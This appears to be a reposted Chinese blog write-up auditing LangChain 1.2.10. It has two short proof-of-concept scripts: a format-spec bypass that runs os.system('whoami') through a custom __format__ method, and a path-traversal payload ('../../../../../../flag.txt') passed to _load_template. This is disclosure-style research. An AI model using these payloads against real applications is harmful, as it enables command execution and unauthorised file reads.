LangChain1.2.10安全审计与漏洞分析

admin 2026-04-16 04:49:32 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档对LangChain1.2.10框架进行安全审计,发现两个中低危漏洞:格式化字符串注入绕过漏洞(通过format魔术方法可执行系统命令)和路径穿越漏洞(受文件后缀限制利用价值有限)。审计结论指出实际危害可控,并提供了具体漏洞代码位置和PoC验证方法。 综合评分: 75 文章分类: 漏洞分析,代码审计,安全开发,WEB安全,应用安全


cover_image

LangChain 1.2.10 安全审计与漏洞分析

原创

ap0s ap0s

ap0s

2026年2月15日 14:39 安徽

在小说阅读器读本章

去阅读

LangChain 1.2.10 审计

最近在学习LangChain,顺便审计了下,实际危害有限,不喜勿喷

简介

LangChain 是一个帮助开发者将大语言模型(LLM)与外部数据、工具及业务逻辑快速“串联”起来的开源开发框架。

安全分析

langchain_core/_security中存在ssrf安全限制_ssrf_protection.py

通过验证URL、阻止私有IP、本地地址和云元数据端点,并提供多种验证模式和Pydantic类型集成,确保应用只能访问安全的公共网络资源。

其中也有对Jinja2模版的属性访问限制

格式化字符串注入绕过

langchain_core/prompts/prompt.py中存在from_template函数,可进行利用

def get_template_variables(template: str, template_format: str) -> list[str]:
    """Get the variables from the template.

    Args:
        template: The template string.
        template_format: The template format.

            Should be one of `'f-string'`, `'mustache'` or `'jinja2'`.

    Returns:
        The variables from the template.

    Raises:
        ValueError: If the template format is not supported.
    """
    if template_format == "jinja2":
        # Get the variables for the template
        input_variables = _get_jinja2_variables_from_template(template)
    elif template_format == "f-string":
        input_variables = {
            v for _, v, _, _ in Formatter().parse(template) if v is not None
        }
    elif template_format == "mustache":
        input_variables = mustache_template_vars(template)
    else:
        msg = f"Unsupported template format: {template_format}"
        raise ValueError(msg)

    # For f-strings, block attribute access and indexing syntax
    # This prevents template injection attacks via accessing dangerous attributes
    if template_format == "f-string":
        for var in input_variables:
            # Formatter().parse() returns field names with dots/brackets if present
            # e.g., "obj.attr" or "obj[0]" - we need to block these
            if"."in var or "["in var or "]"in var:
                msg = (
                    f"Invalid variable name {var!r} in f-string template. "
                    f"Variable names cannot contain attribute "
                    f"access (.) or indexing ([])."
                )
                raise ValueError(msg)

            # Block variable names that are all digits (e.g., "0", "100")
            # These are interpreted as positional arguments, not keyword arguments
            if var.isdigit():
                msg = (
                    f"Invalid variable name {var!r} in f-string template. "
                    f"Variable names cannot be all digits as they are interpreted "
                    f"as positional arguments."
                )
                raise ValueError(msg)

    return sorted(input_variables)

用法

        Args:
            template: The template to load.
            template_format: The format of the template.

                Use `jinja2` for jinja2, `mustache` for mustache, and `f-string` for
                f-strings.
            partial_variables: A dictionary of variables that can be used to partially
                fill in the template.

                For example, if the template is `'{variable1} {variable2}'`, and
                `partial_variables` is `{"variable1": "foo"}`, then the final prompt
                will be `'foo {variable2}'`.
            **kwargs: Any other arguments to pass to the prompt template.

存在过滤,存在过滤,如果template_formatf-string判断字符串存在.[]

通过用法构造poc

from langchain_core.prompts import PromptTemplate

class Evil:
    def __format__(self, format):
        if format == "exp":
            import os
            os.system("whoami")
        return str(self)

evil = Evil()
template = PromptTemplate.from_template("exp: {obj:exp}")
template.format(obj=evil)

路径穿越

langchain_core/prompts/loading.py中存在_load_template函数,这里限制了文件后缀,利用起来较为鸡肋

Poc:

import sys
from langchain_core.prompts.loading import _load_template

try:
    config = {"template_path": "../../../../../../flag.txt"}
    result = _load_template("template", config)
    print(result)
except Exception as e:
    print(f"Error with flag.txt: {e}")

try:
    config = {"template_path": "../../../../../../flag"}
    result = _load_template("template", config)
    print(result)
except Exception as e:
    print(f"Error with flag: {e}")


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:ap0s ap0s ap0s《LangChain 1.2.10 安全审计与漏洞分析》

APK逆向分析工具V1.2 网络安全文章

APK逆向分析工具V1.2

文章总结: 本文介绍了APK逆向分析工具V1.2及系列移动安全工具,涵盖Android/iOS逆向分析、漏洞检测、取证工具、游戏安全防护等内容。提供了Unity
评论:0   参与:  0